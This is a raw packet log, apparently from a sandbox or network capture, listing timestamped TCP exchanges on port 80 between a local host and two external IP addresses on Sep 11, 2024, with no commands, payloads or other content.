Sep 11, 2024 16:22:18.481534004 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481539965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481555939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481556892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481575012 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481596947 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481637001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481652021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481683969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481690884 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481699944 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481714964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481728077 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481734991 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481740952 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481745005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481760025 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481760979 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481775045 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481781960 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481802940 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481805086 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481821060 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481827021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481836081 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481843948 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481863976 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481878042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481889009 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481894016 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481909037 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481919050 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481925011 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481935024 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481941938 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481950998 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481985092 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481985092 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482031107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482049942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482093096 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482098103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482112885 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482129097 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482152939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482161999 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482187986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482204914 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482220888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482249022 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482259035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482269049 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482274055 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482289076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482305050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482312918 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482320070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482359886 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482359886 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482372046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482387066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482402086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482419014 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482431889 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482439041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482454062 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482455969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482470989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482481003 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482486010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482506037 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482541084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482566118 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482580900 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482595921 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482613087 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482625008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482636929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482642889 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482659101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482666969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482677937 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482692003 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482695103 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482707024 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482709885 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482723951 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482723951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482733011 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482741117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482753992 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482757092 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482764959 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482773066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482785940 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482789040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482803106 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482816935 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482826948 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482911110 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482925892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482940912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482944012 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482964993 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482978106 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.482980967 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.482996941 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483012915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483020067 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483028889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483030081 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483048916 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483072042 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483119965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483134985 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483150005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483160019 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483166933 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483169079 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483185053 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483191013 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483198881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483205080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483215094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483218908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483232975 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483249903 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483258009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483274937 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483287096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483303070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483309031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483335972 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483342886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483357906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483372927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483375072 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483395100 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483397961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483414888 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483414888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483462095 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483494043 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483509064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483524084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483539104 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483546019 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483555079 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483556032 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483572006 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483582973 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483587980 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483597994 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483611107 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483629942 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483633995 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483649015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483664036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483680010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483685017 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483696938 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483711004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483712912 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483726025 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483726978 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483748913 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.483778954 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.483804941 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.496486902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.496503115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.496517897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.496591091 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.496639967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.496656895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.496670961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.496679068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.496680975 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.496718884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.497545004 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.497560024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.497585058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.497600079 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.497602940 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.497617006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.497632980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.497639894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.497649908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.497668982 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.497684956 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.503180027 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503197908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503212929 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503237009 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503252983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503251076 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503271103 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503287077 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503292084 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503304958 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503323078 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503422976 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503473997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503488064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503504992 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503519058 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503549099 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503559113 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503573895 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503601074 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503601074 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503613949 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503617048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503640890 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503654003 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503655910 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503671885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503674984 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503685951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503701925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503731012 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503746986 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503777981 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503791094 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503808022 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503814936 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503822088 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.503842115 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.503865004 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504074097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504086971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504101992 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504121065 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504148006 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504168987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504183054 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504199028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504211903 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504219055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504245043 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504445076 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504460096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504473925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504487991 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504517078 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504589081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504601955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504626036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504626989 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504642010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504652023 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504659891 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504673004 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504674911 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504689932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504693031 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504704952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504718065 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504734993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504745007 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504750013 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504765034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504772902 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504781961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504796982 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504801989 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504812956 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504827976 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504843950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504846096 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504852057 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504868031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504878044 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504882097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504898071 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504904985 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504914045 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.504933119 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.504956961 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.505398035 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.505414009 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.505429983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.505443096 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.505462885 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.505533934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.505548954 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.505564928 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.505584002 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.505590916 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.505609035 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.505634069 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507050037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507066011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507081985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507097006 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507116079 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507276058 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507307053 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507319927 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507323027 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507338047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507345915 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507353067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507365942 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507366896 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507391930 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507401943 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507433891 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507574081 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507765055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507781029 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507798910 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507810116 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507817030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507824898 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507833004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507842064 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507857084 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507859945 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507872105 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507877111 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507886887 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507894993 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507901907 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507911921 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507916927 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507930040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.507930994 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507946968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.507949114 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.508002043 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.508002043 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.511547089 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.511563063 CEST	80	49735	147.45.44.104	192.168.2.4
